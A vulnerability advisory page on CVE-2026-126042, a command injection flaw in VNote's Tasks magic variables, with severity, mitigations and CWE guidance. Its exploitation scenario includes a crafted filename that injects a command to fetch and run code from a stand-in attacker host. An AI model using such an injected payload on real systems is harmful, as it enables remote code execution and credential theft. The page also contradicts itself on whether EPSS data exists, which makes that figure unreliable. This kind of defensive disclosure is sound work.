CVE-2026-126042: OS command injection

CISO Take

VNote versions 3.11.0 up to 4.12.0 substitute magic variables such as ${bufferName} and ${selectedText} into shell command strings without escaping, so a shared notebook with a crafted note filename or text can run arbitrary commands as the victim when they execute a task. The CVSS score is 7.0 (high) because exploitation needs a user to open the shared notebook and run a task that references those variables, with local attack vector and high complexity. There is no EPSS data, no CISA KEV listing, no public exploit and no Nuclei template, so near-term mass exploitation looks unlikely. The exposure is concentrated in developer and researcher workstations that share notebooks, which often hold API keys, model credentials and source code. Upgrade to VNote 4.12.0 or later, and until then avoid running Tasks that use magic variables on notebooks from untrusted sources.

Sources:NVDATLASvulncheck.comgithub.com/vnotex/vnoter3vpwnx.space

What is the risk?

Moderate overall risk. Exploitation requires user interaction (running a task) and a shared notebook from an attacker, which raises complexity. Impact on a successful attack is high for confidentiality, integrity and availability, since commands run with the user's privileges. VNote is a general-purpose note-taking tool and only loosely tied to AI/ML, so exposure in AI environments is mainly through workstations used by data scientists and ML engineers. No known active exploitation, no EPSS score and no public exploit were found. Confidence: MEDIUM, as several data points (EPSS, dependents, affected product list) are unavailable.

How does the attack unfold?

Initial Access

Attacker shares a notebook with a note whose filename or text includes shell metacharacters.

AML.T0011

Execution

Victim runs a task referencing magic variables, and the unescaped value is injected into the shell command.

AML.T0050

Impact

Arbitrary commands run as the victim, exposing credentials, source code and access to AI development infrastructure.

AML.T0050

Initial Access

Attacker shares a notebook with a note whose filename or text includes shell metacharacters.

AML.T0011

Execution

Victim runs a task referencing magic variables, and the unescaped value is injected into the shell command.

AML.T0050

Impact

Arbitrary commands run as the victim, exposing credentials, source code and access to AI development infrastructure.

AML.T0050

How severe is it?

CVSS 3.1

7.0 / 10

EPSS

0.7%

chance of exploitation in 30 days

Higher than 53% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Moderate

What is the attack surface?

AVLocal

ACHigh

PRNone

UIRequired

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

1) Upgrade VNote to 4.12.0 or later, which includes the fix in commit 0f5edd8. 2) Until patched, do not run Tasks that use ${bufferName}, ${selectedText} or other magic variables on notebooks from untrusted sources. 3) Review shared notebooks for filenames or note content containing shell metacharacters such as $(...), backticks, ; or |. 4) Disable or remove Tasks that interpolate user-controlled values into shell commands. 5) Detect by monitoring for VNote spawning unexpected child shell processes (sh, bash, cmd, powershell) with unusual arguments. 6) Run note-taking tools with least privilege and keep secrets out of the user's default environment where possible.

How is it classified?

Code ExecutionSocial EngineeringPluginAML.T0011- User Execution AML.T0050- Command and Scripting Interpreter

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Procedures to respond to and recover from unknown risks

Frequently Asked Questions

What is CVE-2026-126042?

VNote versions 3.11.0 up to 4.12.0 substitute magic variables such as ${bufferName} and ${selectedText} into shell command strings without escaping, so a shared notebook with a crafted note filename or text can run arbitrary commands as the victim when they execute a task. The CVSS score is 7.0 (high) because exploitation needs a user to open the shared notebook and run a task that references those variables, with local attack vector and high complexity. There is no EPSS data, no CISA KEV listing, no public exploit and no Nuclei template, so near-term mass exploitation looks unlikely. The exposure is concentrated in developer and researcher workstations that share notebooks, which often hold API keys, model credentials and source code. Upgrade to VNote 4.12.0 or later, and until then avoid running Tasks that use magic variables on notebooks from untrusted sources.

Is CVE-2026-126042 actively exploited?

No confirmed active exploitation of CVE-2026-126042 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-126042?

1) Upgrade VNote to 4.12.0 or later, which includes the fix in commit 0f5edd8. 2) Until patched, do not run Tasks that use ${bufferName}, ${selectedText} or other magic variables on notebooks from untrusted sources. 3) Review shared notebooks for filenames or note content containing shell metacharacters such as $(...), backticks, ; or |. 4) Disable or remove Tasks that interpolate user-controlled values into shell commands. 5) Detect by monitoring for VNote spawning unexpected child shell processes (sh, bash, cmd, powershell) with unusual arguments. 6) Run note-taking tools with least privilege and keep secrets out of the user's default environment where possible.

What systems are affected by CVE-2026-126042?

This vulnerability affects the following AI/ML architecture patterns: developer workstations, research note-taking tools, local AI development environments.

What is the CVSS score for CVE-2026-126042?

CVE-2026-126042 has a CVSS v3.1 base score of 7.0 (HIGH). The EPSS exploitation probability is 0.68%.

What is the AI security impact?

Affected AI Architectures

developer workstationsresearch note-taking toolslocal AI development environments

MITRE ATLAS Techniques

AML.T0011User Execution

AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

What are the technical details?

Original Advisory

VNote 3.11.0 before 4.12.0 contains an OS command injection vulnerability in its Tasks feature: magic variables such as ${bufferName} and ${selectedText} are substituted into a shell command string without escaping. Attackers can share a notebook containing a note whose filename or text includes shell metacharacters such as $(...), backticks, ; or |, executing commands as the victim when they run a task referencing these variables.

Exploitation Scenario

An attacker publishes or shares a notebook with a researcher or ML engineer, for example as a collaboration or a reading-list repository. One note has a filename like 'results$(curl attacker.example|sh).md'. The victim opens the notebook and runs a legitimate-looking task that references ${bufferName}. The unescaped value is substituted into the shell command, and the injected command runs as the victim, stealing API keys, cloud credentials and SSH keys from the workstation for further access to AI infrastructure.

Weaknesses (CWE)

CWE-78Improper Neutralization of Special Elements used in an OS CommandPrimary CWE-78Improper Neutralization of Special Elements used in an OS Command

CWE-78 — Improper Neutralization of Special Elements used in an OS Command: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.